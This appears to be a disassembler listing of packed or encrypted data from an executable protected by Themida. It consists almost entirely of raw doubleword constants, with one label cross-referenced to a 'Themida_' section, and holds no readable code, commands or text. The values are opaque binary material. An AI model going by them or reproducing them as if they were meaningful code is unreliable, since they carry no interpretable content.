		dd 5D1501F2h, 4395BBFEh, 11BAA599h, 9CB91566h, 40F69442h
		dd 0CB321566h, 11321569h, 8080D8F5h, 0D73D586Fh, 0D5C5CA6h
		dd 985D43D8h, 9B3DE0F3h, 4BDBE060h, 3C321566h, 0D8B1EA1Fh
		dd 871F11CEh, 9C260215h, 7367181Dh, 7F4F0CDFh, 5EF39468h
		dd 0B3625463h, 20DBD4BFh, 0C0C5C491h, 0CCEEE4E7h, 89BB69FDh
		dd 0D7B3583Fh, 2FA54A63h, 0CD7FF0B7h, 0B3E6D0E7h, 0CA333E29h
		dd 18DB753Bh, 0D9321566h, 5FC85EB3h, 0BCECB724h, 113FFC07h
		dd 0A2321566h, 1C15F874h, 8A7B6783h, 4242CAE2h,	883219DDh
		dd 0CFF11466h, 62E9E75h, 1E36D1E5h, 883204E8h, 443EFC66h
		dd 6F7F1566h, 6E5E6FEDh, 8DA92069h, 0D1BB11ABh,	24211C8Fh
		dd 11321B8Fh, 78E6E66h,	705E1C3Fh, 0DC1B49E4h, 0ED9BCB61h
		dd 0D0162199h, 4436D1E7h, 0A43D1566h, 11321567h, 0AC46EA9Ah
		dd 60369E42h, 2236D1E7h, 18DB1566h, 0CD321566h,	2EED0B4Eh
		dd 9A55AB28h, 0C53AC863h, 0DEFA3C44h, 903AC8D8h, 7CC23C44h
		dd 1132198Fh, 57FF7B66h, 2EE30425h, 0E9626D46h,	0F8B72E62h
		dd 8734066Fh, 44324FE4h, 25BF1A66h, 1E321566h, 883214E9h
		dd 0C109EC66h, 24211A93h, 11739669h, 13D1566h, 4432156Ch
		dd 22B81A06h, 9A321566h, 0E85374A5h, 7B89D2D6h,	436CF183h
		dd 713211A4h, 9B2C3E7h,	0AD524530h, 22321569h, 0BD9B6E12h
		dd 0B78C4359h, 0D5C5F96Eh, 2DB1F1E9h, 113215E1h, 0E9537466h
		dd 12ED9E06h, 2232068Fh, 0F01FBB66h, 2BAAC162h,	0F8D4809Bh
		dd 0F73938AEh, 69BBAEEBh, 6052743Fh, 44321572h,	0DBC21D65h
		dd 0F3482CDCh, 12BFEF2Bh, 0F35F3884h, 45A647C5h, 1132068Eh
		dd 0BC5F8D66h, 0F31628ABh, 0C2B0C536h, 211A92FCh, 343EC36Ah
		dd 0B48B4D3Eh, 4318D5F3h, 1136F9E7h, 94BB1566h,	4432AE42h
		dd 7EBB1566h, 71691142h, 8832018Eh, 0B8593E66h,	46AD5200h
		dd 1B478887h, 0E5391027h, 58FA9073h, 22B51A21h,	4F321566h
		dd 0CCF5EC07h, 7B941142h, 66B523F1h, 0C1C51142h, 8C1651E1h
		dd 401661E7h, 0EB5AD53Fh, 11219969h, 86DB1566h,	37321566h
		dd 660C60Fh, 0FFD813F4h, 0A9A125Eh, 0F967442Eh,	78E9588Bh
		dd 612521DFh, 0D5DB2404h, 0EF68C9DEh, 7BFA245Eh, 11359669h
		dd 13D1566h, 44321567h,	0AFBFE99Fh, 17215AEBh, 9DBC1A06h
		dd 0AD321566h, 22321576h, 6BDEC8D9h, 151CBA41h,	4FB5C6CAh
		dd 0C8403981h, 11319F69h, 3541566h, 2452749Fh, 0A353E993h
		dd 2FB5B4A1h, 69CD742Fh, 4432128Fh, 127F8566h, 69A917DDh
		dd 8820FC06h, 0D3771566h, 0E2D23D71h, 400604BAh, 1C78E63h
		dd 9066AF84h, 0AB36F9E5h, 118B316Ah, 89321566h,	1D339F97h
		dd 2DDB2993h, 11332FE2h, 373D7566h, 46B11AA9h, 90321566h
		dd 2DCA74D4h, 0F0B61A8Eh, 0B8321567h, 0A63D1A5Ah, 1132153Eh
		dd 8832198Fh, 0C08D1966h, 5F05DB32h, 2D735669h,	87FF29A4h
		dd 4433C4E2h, 23BA1A66h, 0E8321566h, 0C3DFE5Ah,	44321494h
		dd 9A8B7306h, 0EAB9732Fh, 63D7407h, 44321576h, 22321E8Fh
		dd 0C3F6D166h, 6FFD0EABh, 87F3F4C6h, 0AB3D75A5h, 11321567h
		dd 0D2D9949Ah, 253B1EE0h, 2233AF34h, 0E3331566h, 9CB90FECh
		dd 40F69642h, 0D284479Eh, 5B9E646h, 8CF69442h, 4B321566h
		dd 223214EBh, 5DBE966h,	0C3321566h, 0C505F7D2h,	292B5D37h
		dd 0FFCC8E7h, 62A3ED83h, 0C414C7D9h, 0A73D959Dh, 0EECDEAF7h
		dd 3361439Fh, 4F8C20BBh, 26164967h, 0FAB34E3Dh,	838C20BBh
		dd 4432198Fh, 9C4A9B66h, 18C3178Fh, 0F8B18DD2h,	0FD63471Eh
		dd 22321560h, 106BDFEFh, 0D8CA4FB5h, 443217DEh,	73C21466h
		dd 113215DFh, 8BF31466h, 246A4C7Fh, 2234FC06h, 2B9B1566h
		dd 1DC0E5FDh, 259FFEE6h, 22321B8Fh, 3C84A666h, 0D597489Fh
		dd 267801DFh, 43682F48h, 1132D78Fh, 60807566h, 0EC2536DCh
		dd 73CE7471h, 0D213CADFh, 86FB9470h, 550C91Dh, 0CBB3C491h
		dd 98129178h, 91B9E467h, 56BA1A3Fh, 42321566h, 1132128Eh
		dd 0AAE52E66h, 0E7D77EB4h, 83C6953Dh, 0EAB1ED07h, 61B61A9Dh
		dd 0AD321566h, 2232156Eh, 1982F709h, 98A475F1h,	9D8D1A06h
		dd 0A66AFDE7h, 41534945h, 4BBB4D30h, 49BF1A3Eh,	0CB321566h
		dd 1132156Eh, 7D0F31F5h, 2FA15D1Dh, 0FD5A4636h,	4A696D4Bh
		dd 69C19425h, 0CD696D4Bh, 0D2334EBEh, 716A0D65h, 0E8E3A269h
		dd 44329C69h, 0A63D1566h, 11321566h, 85DB7407h,	90321566h
		dd 695B2E3Ah, 8EFFBBF8h, 50279B0Ch, 0CD36F9E5h,	278D315Ah
		dd 10321566h, 61CE4A9Dh, 0BBCDEB3Fh, 2232188Fh,	0A46CCC66h
		dd 294B510h, 0D2979985h, 943DB465h, 90521438h, 1F824295h
		dd 8BB97328h, 953D7507h, 0EBB973ACh, 0A6D99607h, 0BA159169h
		dd 27DBEA99h, 5E321566h, 0F4DFAC42h, 4432328Fh,	5CB2E066h
		dd 943DEB67h, 77CDEB6Bh, 44339E69h, 0CBCE1566h,	11321576h
		dd 8995A08Fh, 347AF771h, 7C19F111h, 9CA73F1h, 77CE2B8Fh
		dd 43BC1A99h, 2D321566h, 113214EFh
		db 66h,	0E0h
word_5FBE9E	dw 925Ah		; DATA XREF: Themida_:0058414Co
					; Themida_:00584150o
		dd 0CD321513h, 73CA3152h, 0D0B3F4EFh, 88321562h, 4436FCE7h
		dd 2EB51566h, 1DBB4942h, 8838FC42h, 0D3A51566h,	0C59D831Fh
		dd 7C9448A6h, 882CC10Eh, 602E9C66h, 2234FC06h, 1B651566h
		dd 7655414Dh, 4432138Fh, 0C851A366h, 7010EEDFh,	8819450Eh
		dd 600E9C66h, 2237FD06h, 0FCBD1566h, 0EE5897A4h, 1EDD3ED9h
		dd 0D98D1A31h, 7752743Fh, 60CC56D8h, 44321575h,	299E8045h
		dd 0CA10C3ECh, 0C3E6C0C6h, 5DC7BEBDh, 0DEFE5C58h, 0D103743Dh
		dd 61F99E06h, 44321563h, 0B26F67F7h, 933D74A8h,	88321563h
		dd 0B86B4606h, 4452B907h, 0AE9BC6E7h, 88321B8Fh, 0C9474B66h
		dd 0F2750BDh, 61792EF0h, 0E9920EF6h, 44321C8Fh,	51110966h
		dd 316B510Dh, 64B3F7F7h, 44321562h, 0AA1619EFh,	48D99DA3h
		dd 8CB01A06h, 22321566h, 0A33BD6DCh, 0E1732BB0h, 0E0547450h
		dd 0CD541DC6h, 0D2803172h, 4B54C646h, 883DFC9Ah, 2D051566h
		dd 79569C89h, 2F87038Bh, 5EBF6B2Bh, 34C995A5h, 24359169h
		dd 1ECE1566h, 88321FE5h, 25527566h, 3EA9C6E7h, 2D533715h
		dd 8CB61A69h, 24321567h, 235DAE00h, 1132198Fh, 0E0B1C566h
		dd 42A6A671h, 924E8392h, 0F80E74E4h, 82809169h,	4CDB1566h
		dd 0F8321566h, 93D584F9h, 870A24BBh, 443214E5h,	0C90EED66h
		dd 1FD79169h, 87521566h, 443217E6h, 0CBE79F66h,	1132156Bh
		dd 1810889Ah, 2727CEDBh, 916ED9B5h, 0F20E74ADh,	8B999169h
		dd 0C83D1566h, 2232156Eh, 11309E69h, 0E9521566h, 0C03DF75Ah
		dd 22320505h, 11399D69h, 8EDB1566h, 5F321566h, 5950AC05h
		dd 3506EA29h, 8CF69439h, 4B321566h, 223213E1h, 4F637566h
		dd 77534F35h, 0C7693152h, 445211A2h, 775941DEh,	0E9C7F6DCh
		dd 1D162199h, 4236D1E5h, 1123FC06h, 63051566h, 0F28AF0B8h
		dd 0DA532EF2h, 928F9D2Bh, 3861861h, 0CF3D74B5h,	22321564h
		dd 0EE53D1D0h, 96C3152h, 443211A2h, 2239FC66h, 23E61566h
		dd 84A411DDh, 0BAA8A49Ah, 42F1EC14h, 660BD6E7h,	63D33B8h
		dd 44321564h, 0E5534A30h, 0BA6C0E3h, 88321360h,	4434FC66h
		dd 0E5A41566h, 0D76CADDBh, 0ABD8AD36h, 0AF176662h, 623B4554h
		dd 1110FE53h, 2C21467h,	4B524D7Eh, 223216ECh, 0C6B97366h
		dd 0B8897336h, 0B8534C42h, 0AB36F9E5h, 0E1843172h, 6168E646h
		dd 44321560h, 95C8FA22h, 0EAB2C0B0h, 0AEB71AE6h, 0ADCDEA99h
		dd 2232156Ch, 7886BDFFh, 95140EB8h, 0FB655A25h,	0DDCDEA99h
		dd 0F86DEB67h, 88321561h, 49B29D6Ch, 0A94500E1h, 213B0E3h
		dd 1DB9ED60h, 42210F63h, 2221FD06h, 743A1566h, 0A6822D17h
		dd 0BD7F6E7Eh, 36ECAD5Bh, 7E72FE97h, 3E6CE96Fh,	116474B0h
		dd 7D056DDBh, 355E3C7Eh, 9694862h, 1B056DA5h, 2222FC7Eh
		dd 1DA11566h, 7D5861CDh, 0AD742FA4h, 0A7E3271Ch, 0FDB1292Ah
		dd 0AC269C62h, 443213DCh, 78E11466h, 113E9869h,	53D1566h
		dd 44321560h, 22329269h, 0A8631566h, 9C014780h,	0E92ED4E7h
		dd 0D333FEAAh, 0E96B0C65h, 0A3DCD5Dh, 44321556h, 22229669h
		dd 1ADB1566h, 6C321566h, 38986FEh, 2321A1FCh, 0CB0952ADh
		dd 76659369h, 2452EA99h, 22329D69h, 903D1566h, 88321566h
		dd 25B2A007h, 4CC5D6E7h, 0FAB340E3h, 0C9C524A9h, 87B3EE4Fh
		dd 63C524A9h, 7FC5FEE7h, 3A5240E3h, 0C553E970h,	2232118Ah
		dd 35269C66h, 883213DCh, 1EE13C66h, 2232018Fh, 2A150366h
		dd 0B40773ECh, 0C3243A90h, 0E91728B2h, 0BF4F719Dh, 0E89F7394h
		dd 7B1EAD00h, 22321B8Eh, 77DBAF66h, 288F6A0Ch, 39B3BE81h
		dd 7B0C600Fh, 71997307h, 0E9C7DAEDh, 8703CD57h,	2CDBCD57h
		dd 0FE321566h, 0DA01962Fh, 4A4C5A2h, 140795C6h,	913DBEDEh
		dd 88321561h, 9A8D1A06h, 75537406h, 113211D9h, 3CC1466h
		dd 80B1315Ah, 223AFC62h, 938C1566h, 0DA0E8E8h, 4DDB9DE9h
		dd 94321566h, 0DDA4D12Eh, 74800C57h, 4B1629EFh,	223218EFh
		dd 113AFC66h, 38001566h, 17C6FC5Eh, 2BDB2E18h, 0D0321566h
		dd 85596F4Eh, 0BF222CB6h, 2E1661EFh, 11209F69h,	53D1566h
		dd 4432156Ah, 2232128Fh, 5E5F866h, 956CA47Eh, 7537A0EFh
		dd 0A33D1375h, 11321575h, 88321B8Fh, 0F279D466h, 0C2EF4F3h
		dd 482DBCAAh, 32AF49Fh,	0CD67315Ah, 26F79483h, 90321566h
		dd 883211A3h, 601E9266h, 4461753Ah, 4F9DD6DCh, 8832018Eh
		dd 9155D66h, 0EDEF9D8Bh, 12EC748Fh, 1201BE4Fh, 20858D2Eh
		dd 7B5375DFh, 3506EA07h, 8CF6963Dh, 6006EA9Ah, 26F6943Fh
		dd 0E9321566h, 0AC06EA9Eh, 40F69638h, 79664693h, 1136D6E7h
		dd 4BB11566h, 602E9262h, 9CDBED3Ah, 71CDEAB8h, 882B9269h
		dd 50DB1566h, 52321566h, 6E46EBA2h, 0F4F73B21h,	37F606AFh
		dd 19300EDCh, 1EC7A061h, 883207E6h, 443FFC66h, 0B8321566h
		dd 1809A9C1h, 0CECC13C8h, 2548DC33h, 0E4B37306h, 0D3B9EF1Ch
		dd 5DB7D207h, 46340FF2h, 42321566h, 1132188Fh, 85735766h
		dd 1EF0C058h, 21DB84AFh, 0AF54C0C4h, 0E8539FDDh, 44309269h
		dd 43521566h, 4A6C4636h, 8CB34307h, 0A2193342h,	62E9E00h
		dd 9036D1E5h, 6E19338Dh, 5CB81A00h, 0CB321566h,	11321575h
		dd 0ED70D152h, 32EC9F45h, 0B04C0DDDh, 6CB1C6AEh, 87AEEE05h
		dd 0C4CA1BD0h, 0A13D959Fh, 1132150Bh, 88239469h, 0C93D1566h
		dd 2232156Dh, 1132138Fh, 12EAD866h, 0C5152B29h,	716FD58Dh
		dd 66F1946Ah, 8964B57Dh, 33D994ADh, 0A364B57Dh,	426FD5A5h
		dd 8FB31A6Ah, 4B321566h, 223214EAh, 0EE61EC66h,	94B93162h
		dd 40F69442h, 0CB321566h, 11321577h, 64276F2Ch,	6B09BF14h
		dd 4E890FE3h, 91260AA8h, 88A3FC7Fh, 0C33D1566h,	22321567h
		dd 3F85469Ah, 864FAE6h,	8BCC6AA9h, 9262D298h, 3DEAE3E9h
		dd 7E1C31C0h, 443911B6h, 0DB1A4DA1h, 1138FC3Dh,	8ED51566h
		dd 2B05F573h, 7493E380h, 0AA61FCE1h, 88321566h,	99B5FE4Fh
		dd 2DDB923Dh, 113213E6h, 0EECE7566h, 1653E5EDh,	2232EADCh
		dd 9AE33466h, 4CB13172h, 443CFC62h, 0B3331566h,	2C4DFFB7h
		dd 7E2E5C88h, 0DD9D9DA9h, 6BDEFEE7h, 0DA1B1C51h, 0C1DEA833h
		dd 0AF331C51h, 223BFC3Bh, 0A8C51566h, 12F10628h, 0CF37065Eh
		dd 3113B0E3h, 973D7560h, 88321563h, 0F25253DCh,	0A953E054h
		dd 22810F3h, 8822FC60h,	20621566h, 0CD618616h, 0B8C2CDB5h
		dd 9A32653Dh, 0F9B18A1Dh, 242114C3h, 0F9B61A67h, 87321565h
		dd 443214E4h, 1BC7EC66h, 0C9B01AA5h, 61321565h,	4432156Dh
		dd 0F8C1BBEAh, 637FFF49h, 0B1B50407h, 0F6B01AB5h, 0DACDEA9Ch
		dd 1131AF8Fh, 86BE1A66h, 24321566h, 0A7FDCCE7h,	0C7B36AC5h
		dd 9BC834D2h, 91B7D207h, 20340FF2h, 1E321566h, 883214E2h
		dd 0A8B3E966h, 22321562h, 901621EFh, 0A3C23162h, 0C5692347h
		dd 319E58Dh, 1135FC50h,	59421566h, 0BB8F995Dh, 2C841A41h
		dd 113B9469h, 70521566h, 3B9BC3E7h, 0A2532DB3h,	923D959Fh
		dd 8832153Ah, 93B9EC06h, 6CF19407h, 902C0B7Eh, 2C3779A5h
		dd 0C5F9144Eh, 8637798Dh, 5FD9944Eh, 612C0B7Eh,	44321574h
		dd 0CD4F425Ch, 0A2EC9BBh, 2D10A53Ah, 40E6050Ah,	9F67ECFFh
		dd 3449460Dh, 977C091h,	872154ABh, 0F6C79414h, 10C8D2D9h
		dd 83D488Dh, 44321567h,	0ABDBE99Fh, 0E9321566h,	0A0CDA235h
		dd 602E9E9Fh, 2D36D1E5h, 11320DE3h, 8821FC66h, 0B9C31566h
		dd 3AA192CDh, 25104C80h, 673E624Eh, 71497574h, 228C43D9h
		dd 90321566h, 0D26397A0h
		dd 0C5FC3C70h, 78639788h, 4FC39C70h, 778A459Fh,	65321566h
		dd 6369EA7h, 1136D1E7h,	84DB1566h, 0A9321566h, 2C54C0DCh
		dd 0F77EF28Dh, 0DA46BF63h, 374D44DCh, 78E1142Dh, 0FAB3DE4Fh
		dd 0C3416A37h, 44321A8Fh, 0B77C7666h, 87BF04Fh,	653D327Ch
		dd 0D969A124h, 39790EDh, 9A3D1375h, 88321567h, 41A79E9Eh
		dd 4234067Ch, 1EEADEE6h, 0B53C7D1h, 5733B0DBh, 0A63D1460h
		dd 1132172Dh, 883D9669h, 4EDB1566h, 6F321566h, 1C40F435h
		dd 2D9B1797h, 9C09E9C7h, 22139769h, 9E3D1566h, 8832156Ah
		dd 4432128Fh, 3B9FD966h, 1A13F260h, 0E3DC65Fh, 0BBCDEC63h
		dd 22339469h, 46CA1566h, 3B35EFD9h, 0D6D59462h,	6566F047h
		dd 1853F2E7h, 6FF37F49h, 65C59463h, 0B363546h, 40CE4A98h
		dd 0E2A635h, 0A5B24EBFh, 0D5C395D0h, 9134FCA6h,	40BA1BA7h
		dd 0BD98E03Fh, 2236F9E7h, 5BB1566h, 8832AF42h, 0B6331566h
		dd 0DA681FECh, 0A26177D6h, 8CD9D58Ah, 97C4DE98h, 0C9B2DE98h
		dd 4AEA3D54h, 8A06C590h, 9906DD98h, 2232138Fh, 22817166h
		dd 0D8647664h, 8427A734h, 0E8CC108Ch, 0EF70DFE6h, 99F095ACh
		dd 6468C1EEh, 2ADB4D87h, 45321566h, 47E4F4E9h, 4CBC678Eh
		dd 2220FCAEh, 0ADF11566h, 6A61EDD1h, 13A4848Ah,	9B0B8E2Fh
		dd 2DEEE80Eh, 8826FCCCh, 0CCE11566h, 3980AB15h,	40FA35FCh
		dd 0D2A840D7h, 8BB9217h, 9C64D326h, 7E1D07CAh, 0A16CE64Fh
		dd 0E8F1949Dh, 0D75D3A74h, 1136A833h, 631B1566h, 0C51639EDh
		dd 223211A2h, 0FDB3ED66h, 88321562h, 171611EFh,	44524E3Eh
		dd 0F84DAEDCh, 88321561h, 0EB0BDC54h, 43991626h, 1134FCCDh
		dd 0E9BA1566h, 1ECE8A29h, 2236F9E7h, 15BB1566h,	8830AD42h
		dd 82331566h, 223EFC3Eh, 8A131566h, 107B1737h, 1374F598h
		dd 97BBC31Fh, 17212463h, 2DB7D29Ah, 45340667h, 0D7321566h
		dd 1132108Fh, 7B5CD066h, 0CD62CC7Ch, 22361086h,	0D1B11566h
		dd 0AC362662h, 77161157h, 0D76E3162h, 461609EDh, 4FB3F2EFh
		dd 44321562h, 2236D2E7h, 2DB51566h, 0E3D4942h, 44321567h
		dd 63E9E9Fh, 90D59C31h,	883211A1h, 40F59466h, 0A5321566h
		dd 0F86E315Ah, 88321561h, 21F7B451h, 71DCC50Ah,	0D2B3F6EFh
		dd 88321562h, 1736D6E5h, 26166199h, 35369A3Dh, 9CBF1A3Ah
		dd 0AD321566h, 22321569h, 0CBAFF1F7h, 81038CFh,	2F9E6041h
		dd 77C7E049h, 0D4B3F0EFh, 88321562h, 4436AB30h,	0D7331566h
		dd 351E9238h, 8EDBEC3Ah, 0ADCDEABFh, 22321569h,	781A33CAh
		dd 0C44B186Ch, 0F79F1BB6h, 4A1327CCh, 113243E1h, 771621EFh
		dd 0BD6C316Ah, 0FAC40DD6h, 0A760C590h, 0D2C2151Eh, 0ACF2D598h
		dd 4225396Eh, 7CC09400h, 77851A8Bh, 2252BF07h, 0CB779CD9h
		dd 11321561h, 1CEFE2CEh, 255F247Eh, 0ABC39C37h,	353E9EAEh
		dd 8836D1E7h, 0B8C71566h, 7EEAA31h, 0E91B4AB0h,	8DCA3C39h
		dd 1BE430BAh, 725FAC06h, 0A63D0D49h, 64B374BDh,	44321562h
		dd 9B1619EFh, 11321562h, 0E86BDD4Fh, 4432108Fh,	8B5B6C66h
		dd 1DBF5B4h, 2D321566h,	287E40FDh, 0FB7DDEEFh, 0DBF070DDh
		dd 0E9160AF8h, 4437FCCDh, 21D1566h, 41DD5DF1h, 8C374D32h
		dd 0C7321566h, 26B511A6h, 18DB4942h, 0E7321566h, 2D0E43ABh
		dd 0EB911150h, 421609EDh, 4BB3F6EFh, 44321562h,	2236D6E7h
		dd 0DB51566h, 3CB4942h,	0CD65316Ah, 26F59481h, 92321566h
		dd 0B4B511A1h, 0CFC74942h, 0AB603152h, 15F09484h, 0B321566h
		dd 50B511A4h, 70C74942h, 0AF64F7EFh, 0ABAC7F50h, 0C57CC391h
		dd 8D785890h, 0FFB35308h, 3AFCCAE4h, 0C76CE767h, 36B511A4h
		dd 9A3D4942h, 88321567h, 9F19FC9Eh, 2D52EA99h, 113213E5h
		dd 88BC1A66h, 25321566h, 0B6E790A1h, 1137137Ch,	3D1566h
		dd 4432156Ch, 0D0B97306h, 1AF89400h, 36474B6h, 80B3317Ah
		dd 22321562h, 1BBF1A9Ah, 0E8321566h, 44329F69h,	43521566h
		dd 0AB604307h, 86327CBFh, 445BC8D8h, 78E42468h,	716CE667h
		dd 88321A8Fh, 96B97066h, 0F08FC4FCh, 0BB9EEBCAh, 0BA5F03B3h
		dd 4421FC06h, 0E3541566h, 0D1A3BBFCh, 850E4F01h, 604BE06Dh
		dd 7C4966D5h, 11BC1AC1h, 0E9321566h, 448B4407h,	0A3321566h
		dd 0F07B50A7h, 9C3143Bh, 0A57B508Fh, 7B2B163Bh,	0C3851A06h
		dd 75E39400h, 0C1B974BAh, 242134C3h, 77FA9E06h,	0B0D4DAE7h
		dd 41A79E07h, 0D734067Ch, 1133AE35h, 561B1566h,	443BFC3Dh
		dd 0EC5B1566h, 0EB521ED4h, 0B688244h, 5716DCDBh, 0A63D1460h
		dd 11321263h, 88321D8Fh, 0A7B5AE66h, 567A535Dh,	1EEA2EB7h
		dd 88323AE4h, 0ACB37566h, 5F7A06A3h, 1EE82E07h,	883381E0h
		dd 0C43DEC66h, 2232157Eh, 1132068Fh, 9B349866h,	9ACFB73Dh
		dd 915120A1h, 0CFC65BE6h, 171025Eh, 7537A0EFh, 0CB521375h
		dd 1132156Eh, 8A1B2D16h, 0B58B35D7h, 22349E69h,	0DFB31566h
		dd 0D58A2EA7h, 91AF9E07h, 0CB340FF2h, 11321563h, 22F09041h
		dd 605E944Dh, 0B143D96Ah, 3576942Ch, 0A313516Ah, 606E1467h
		dd 65E946Ah, 3A13516Ah,	0AC769467h, 0D743D96Ah,	0A23D752Ch
		dd 11321560h, 88329769h, 0A1B81566h, 2465FC07h,	71521566h
		dd 0CEE3AD00h, 44329769h, 9A531566h, 758A4BF7h,	0AC0E9E07h
		dd 0C5D49C30h, 223211A0h, 15F49666h, 0D41621E1h, 4432068Fh
		dd 0CA3BA866h, 0DB8CAE5Ah, 8CFD37E4h, 0FDD51B4Ch, 0FAEA3EB8h
		dd 11389B69h, 87521566h, 443215EEh, 43E59E66h, 35FB90A1h
		dd 88331375h, 4EDB1566h, 5321566h, 0F9A212D6h, 4B0910Bh
		dd 602E9E3Ch, 0A3D49C30h, 113211A0h, 8CF49666h,	181621E1h
		dd 606EA9Eh, 15F6943Fh,	61321566h, 44321568h, 4D26A9D4h
		dd 52E976FBh, 7F4D714Bh, 22521BCCh, 32DBD7EDh, 0C8321566h
		dd 894C6C89h, 0F5A954EEh, 687E9E99h, 700D814Ch,	0D6162199h
		dd 4436D1E7h, 0A03D1566h, 11321577h, 88399569h,	42DB1566h
		dd 13321566h, 50072882h, 6BBB4658h, 4F18AC37h, 0FBC5481Bh
		dd 0F8F3C491h, 49E3E260h, 0B5B31D8Fh, 22CC9F69h, 926BDE67h
		dd 94B511A5h, 14524942h, 7CC9A269h, 0C419FC07h,	73DEA99h
		dd 44321567h, 878F969Eh, 10340667h, 8D0D9169h, 0AD521566h
		dd 22321560h, 0E87EA580h, 6052D9F8h, 4432156Ah,	124A6BFh
		dd 1143480Bh, 3325B52Bh, 4422FC3Eh, 78461566h, 15BDA42Dh
		dd 9DA9700Ch, 23057DC5h, 43538D0Dh, 3097884Dh, 86DB1375h
		dd 0E5321566h, 0DEE94BA1h, 217ECC10h, 2F03C766h, 0B1BF9EBBh
		dd 0CB340678h, 1132156Ch, 0B5B53067h, 440E0A40h, 0E3B35508h
		dd 59116406h, 3567CC67h, 0C116406h, 426FFC4Fh, 0F8C29E00h
		dd 88321560h, 0FEC4B470h, 0A3536966h, 0EB63FD8Fh, 0DDF39408h
		dd 6D737726h, 77DB949Fh, 90737726h, 7263FDA7h, 5BB71A08h
		dd 42321566h, 1132048Eh, 0E365AD66h, 0C5ECFA0Eh, 69D7165Ch
		dd 4753E48Ch, 969A31Eh,	70BF39B5h, 9A627463h, 30F11F90h
		dd 0F5352963h, 61E2E21Ah, 42081C6Ah, 1C30F5A7h,	0FD167E93h
		dd 0A85DE553h, 7AF33C93h, 1132128Fh, 82715766h,	5D7D1EC9h
		dd 9F854637h, 0EC024DD3h, 74DF953Dh, 0BC6BFDEEh, 2ADBE0CCh
		dd 4A321566h, 78EFEE64h, 2C8E0502h, 22320D96h, 401611EFh
		dd 23CA4C3Eh, 42B21A06h, 0A3321566h, 0C2E6DB8Dh, 0E9D79F25h
		dd 0C5D09C34h, 223211A4h, 158A4566h, 89321566h,	50B54DA4h
		dd 0A03D4942h, 11321567h, 0AC2E9E9Fh, 0C5D59C31h, 223211A1h
		dd 15F59666h, 0D41629E1h
		dd 25F59F06h, 7B162199h, 1136D1E7h, 77CA1566h, 0C56C3152h
		dd 223211A2h, 113EFC66h, 2FF61566h, 2072AF50h, 41344806h
		dd 9863FEDCh, 8CF39487h, 13321566h, 223211D9h, 4ECB1466h
		dd 0D41619E1h, 44359069h, 0AA3D1566h, 11321567h, 5EFDFC9Eh
		dd 83C7EA99h, 38A6C0E3h, 11321760h, 8835FC66h, 0BAF81566h
		dd 1403A644h, 0E0BB44BAh, 616B4E37h, 4432156Bh,	0DABB2E5Ah
		dd 11D88D43h, 25B36EAAh, 4A841ADAh, 22339069h, 0F8CE1566h
		dd 88321560h, 0F61C3FC2h, 0DBB2894Dh, 6FB11AE6h, 61321566h
		dd 44321568h, 0D3463D8Dh, 6D83132Dh, 60F849D3h,	87B3F681h
		dd 5142684Bh, 5F16D6E7h, 43336793h, 0A16FEE7h, 0C9B36793h
		dd 6242684Bh, 63E09506h, 4ADB7493h, 4321566h, 0CEEE73E5h
		dd 9754D1FEh, 8A9FFE1Ah, 238847C8h, 10321566h, 9BDB4FB5h
		dd 19321566h, 0A72067E2h, 0B85C4E69h, 0A219F51Fh, 0A349EFCDh
		dd 87DB1BBAh, 71321566h, 88321E8Fh, 0EF092366h,	9D8A11F3h
		dd 9863E5F6h, 0DA617307h, 0A6F2FDD4h, 21D8D565h, 0C3C4CF90h
		dd 62B2DF98h, 1EE19D61h, 7954CC4Eh, 11321F8Fh, 0DC3C0C66h
		dd 0DF18AEBEh, 0A14814A6h, 0C0C5148Fh, 88339069h, 12C71566h
		dd 2232EAD8h, 9AC33466h, 4CB13152h, 22647562h, 7D4D60D9h
		dd 11379F69h, 9541566h,	25D18B95h, 7E78A833h, 0D4B33A8Eh
		dd 0D381782Fh, 123AD8E7h, 0E3774877h, 0DCB31683h, 0B1E406C5h
		dd 0F6FCF8E7h, 0C91BF1A9h, 90F93C3Bh, 877F00A5h, 4CDB757Fh
		dd 76321566h, 9E74DD29h, 0E9FFD425h, 659790EDh,	0CB521375h
		dd 11321569h, 3BFFEFEBh, 0F40970ACh, 20C0C22Dh,	77D8A48Ah
		dd 0E9847FDCh, 5E3780EDh, 30DB1375h, 0BA321566h, 577AF2C1h
		dd 0A664AE32h, 0B7659777h, 7533576Eh, 72F4FC35h, 2252EA99h
		dd 0A952CDEDh, 958B73B0h, 87537477h, 443213E5h,	0FDB97566h
		dd 0D6537406h, 92A6C0E3h, 44321760h, 2223FC66h,	24E01566h
		dd 5EF4A5E6h, 86CB3D70h, 2DBD57F0h, 47FD96A3h, 571621E7h
		dd 0CF765533h, 0E6B1317Ah, 0CEC19462h, 70765533h, 243CA369h
		dd 22309569h, 49641566h, 8832108Fh, 0B56FF866h,	0A253B994h
		dd 923D959Fh, 88321550h, 44339569h, 75C71566h, 3112E9D9h
		dd 0D7C9144Ch, 0AFB3DE67h, 812359Ah, 11321C8Fh,	0C956EA66h
		dd 6B7A42B9h, 9D65C78Eh, 11321567h, 7D6DEE67h, 4432828Fh
		dd 7254EC66h, 0A51EA635h, 0D3EE3D4Dh, 1C54F44Eh, 2232068Fh
		dd 0FD92A966h, 62666529h, 0A59C3F42h, 0B30E0BA1h, 0D5392320h
		dd 155A4235h, 1B0EF517h, 53AFE2E7h, 0EABB2986h,	0FF93C39h
		dd 0C73D4EBFh, 2232156Ah, 11349869h, 3D1566h, 44321566h
		dd 2236F9E7h, 25BB1566h, 88CDAB42h, 0B5131566h,	2237FC38h
		dd 0E7A91566h, 9F604AAh, 0E3DA6A5h, 61D9942Ah, 384A6713h
		dd 0CBF194ADh, 0C54A6713h, 683DA68Dh, 113CFC2Ah, 0F05D1566h
		dd 1A5B218Fh, 2E29B9A3h, 8AD6F2B5h, 0A99790EDh,	0C13D1375h
		dd 2232157Ch, 11269869h, 87DB1566h, 0B0321566h,	0F591BF6Ch
		dd 0DF7EDA9Ch, 600C43D9h, 0D1B94D7Dh, 24210F63h, 0CFB97306h
		dd 0A37AB00h, 0E18F9607h, 23340667h, 0E66B9169h, 99DBEA99h
		dd 14321566h, 7AD89549h, 5D9666A8h, 34F8E6Bh, 0E231D8ACh
		dd 2232078Fh, 31180B66h, 79336C5Eh, 45ED4E28h, 0C3067479h
		dd 2AE11AEBh, 9FB01ABEh, 0BC321566h, 0A43DC65Fh, 0EECDFB6Bh
		dd 8FB91A9Fh, 4B321566h, 223214E0h, 0AB60E966h,	77CDEA99h
		dd 0AD68C367h, 22321568h, 0ACAD43C8h, 4AE10C66h, 285C219Eh
